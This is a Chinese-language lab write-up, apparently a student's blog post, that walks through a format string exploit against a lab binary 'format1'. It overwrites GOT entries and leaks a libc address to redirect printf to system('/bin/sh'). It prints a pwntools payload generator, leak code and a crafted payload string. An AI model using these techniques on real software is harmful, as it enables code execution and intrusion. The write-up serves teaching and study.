漏洞分析技术实验3:格式化字符串漏洞
实验3:格式化字符串漏洞
1.实验环境
Linux虚拟机(Ubuntu)
format1、libc.so
2.实验原理
通过格式化字符串不仅可 以泄露内存数据,还能覆写内存。 在本实验中,将两种利用方式相结合,更好地体会格式化字符串漏洞。
n:它不是向printf()传递格式化信息,而是令printf()把自己已经输出的字符总数放到相应的整形变量中
举例: int i;
printf(“hello%n”,&i);
此时 i 的值为 5.
printf 的缓冲区溢出一般printf (“%n”,a):当遇到%n时,程序会检查已经输入了多少字符串,然后将其写入到a中,可以通过这一点来改写栈中内存。
(1)%n写入的内存最大为4字节
(2)%hn写入的内存最大为2字节
(3)%hhn写入的内存最大为1字节
3.实验要求
1.format1进行详细分析,编写python脚本,要求拿到shell权限。
2.编写完成详细的实验分析报告,对python脚本和漏洞利用过程进行详细分析。
4.实验过程
分析format1
- 将format1拖入IDA进行初步分析。
可以看到,main函数中调用了getname()函数,读取用户输入并通过printf输出。,在getname中 存在格式化字符串漏洞。


- 检查format1的保护机制

漏洞利用思路:3轮漏洞利用
(1)将exit函数的GOT表地址覆写为main函数的地址。
先解决构建printf(format,argument)中format和argument 。
(2)通过printf格式化字符串漏洞,获取puts函数地址,再通过libc的相对地址偏移获取system的地址。
通过格式化字符串漏洞,泄露内存数据。
(3)用格式化字符串漏洞,将system函数地址覆盖GOT表中printf函数的地址,并在buf中写入’/bin/sh’。当执行printf(buf)时,相当于执行system(‘/bin/sh’)。
通过格式化字符串漏洞,覆写内存。
漏洞利用
获取main函数、exit_got、puts_got、printf_got地址
将format1 拖入IDA中,易得 main 函数地址为 0x08048648 ,找到GOT表,得到 exit_got、puts_got、printf_got 地址,分别为 0x804a024、0x804A01C、0x804A014。

将exit函数的GOT表地址覆写为main函数的地址,每次退出时将再返回到main函数。
(1)先解决构建printf(format,[argument])中format和argument :
format覆写的格式为:% width c % num $ hhn
width是将要写入到$hhn参数中的值,它由覆写的值和已经写入的长度决定,具体为:(已写入的长度-覆写的值)%0x100
(2)num的确定
num定了要写入的第num个参数,通过调试具体分析一下。
先查看buf的地址是printf的第几个参数,在调用printf处设置断点,buf的地址为0xffffcfbc,printf中格式化字符串的第7个参数,即(0xffffcfbc-0xffffcfa0)/ 4 = 7。

因为要把exit的GOT地址覆写为main函数地址(通过IDA可以获得main的函数地址0x08048648),所以应写入4个字节,即重复四次“% width c % num $ hhn”。
粗略估计width最多占用3个字节,num最多占用2个字节,则每个格式“% width c % num $ hhn”占用12个字节,四次重复共48个字节,占用48/4=12个参数(实际可能用不到48个字节,少的部分用其他字符在最后填充)。
由于buf是从第7个参数开始, 7-18个参数写入用于输出12个字节的基本格式,写入4个字节的地址从第7+12=19个参数开始。num依次为19、20、21、22。
(3)覆盖exit的返回地址
确定了width和num之后,再将要覆盖的exit@got地址0x804a024、0x804a025、0x804a026、0x804a027依次写入到第19、20、21、22个参数中,格式化字符串就构造好了。相当于构造了printf( “%72c%19$hhn%62c%20$hhn%126c%21$hhn%4c%22$hhnaaaa\x24\xa0\x04\x08\x25\xa0\x04\x08\x26\xa 0\x04\x08\x27\xa0\x04\x08”)
(4)脚本代码
编写generate_format(addr, value)函数构造格式化字符串,addr为要覆写的地址,value为覆写的值。
调用generate_format(exit_got,main),生成的payload作为输入。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15def generate_format(addr, value):
payload = ''
print_count = 0
addr_part = ''
for i in range(8):
if (value >> (8*i)) == 0:
break
one_byte = (value >> (8*i)) & 0xff
payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 19 + i)
print_count += (one_byte - print_count) % 0x100
addr_part += p32(addr + i)
//48字节是粗略估计的,实际可能小于48,用a填充至48字节
payload = payload.ljust(48, 'a')
payload += addr_part
return payload可以看到

可以看到,执行完printf后,格式化字符串漏洞就会将exit@got 覆写为main函数的地址,也就是将0x08048486覆盖为0x0848648


通过printf格式化字符串漏洞,获取puts函数地址,再通过 libc的相对地址偏移获取system的地址
(1) 获取system的地址的思路
通过格式化字符串漏洞,泄露内存数据最终的目的是获取到shell,即实现system(“/bin/sh”)。由于格式化字符串漏洞能够泄露内存关键数据,可以考虑利用这个漏洞泄露出system的地址
(2)获得GOT表中puts的地址
利用格式化字符串漏洞,泄露出GOT表中puts的地址,计算出system地址构造的格式化字符串格式为“%num$s+puts@got”,即把puts@got的地址写入buf,再通过%s读出。其中%num$s占4个字节,是第7个参数;puts@got占4个字节,是第8个参数,num就可以写为8,即将puts@got的地址写入到第8个参数的位置 。
(3)计算system地址
获取了puts的实际地址后,再利用libc中system函数与puts函数的偏移,通过libc中两个函数的偏移即可得到system的地址。
(4)脚本代码如下:
1
2
3
4
5
6
7p.recvuntil('Welcome~\n')
payload = '%8$s'+p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recv(4))
sys_addr = puts_addr - (libc.symbols['puts']-libc.symbols['system'])
log.info('puts:%#x'%puts_addr)
log.info('sys:%#x'%sys_addr)可以看到,输出的puts地址的值。

用格式化字符串漏洞,将system函数地址覆盖GOT表中printf函数的地址,并在buf中写入’/bin/sh’。当执行printf(buf)时,相当于执行system(‘/bin/sh’)。
(1)system函数地址覆盖GOT表中printf函数的地址
调用generate_format(printf_got,sys_addr),生成的payload作为输入。
可以看到在printf()函数执行前后,printf@got中地址的变化,由0xf75cd670变为0xf75beda0 (system地址)。


(2)在buf中写入’/bin/sh’。当执行printf(buf)时,相当于执行system(‘/bin/sh’)。
完整攻击脚本代码
1 | from pwn import * |
脚本执行效果

- 标题: 漏洞分析技术实验3:格式化字符串漏洞
- 作者: FindFuner
- 创建于 : 2023-11-06 15:40:06
- 更新于 : 2023-11-06 17:10:20
- 链接: https://nnna48.github.io/2023/11/06/漏洞分析技术实验三/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。




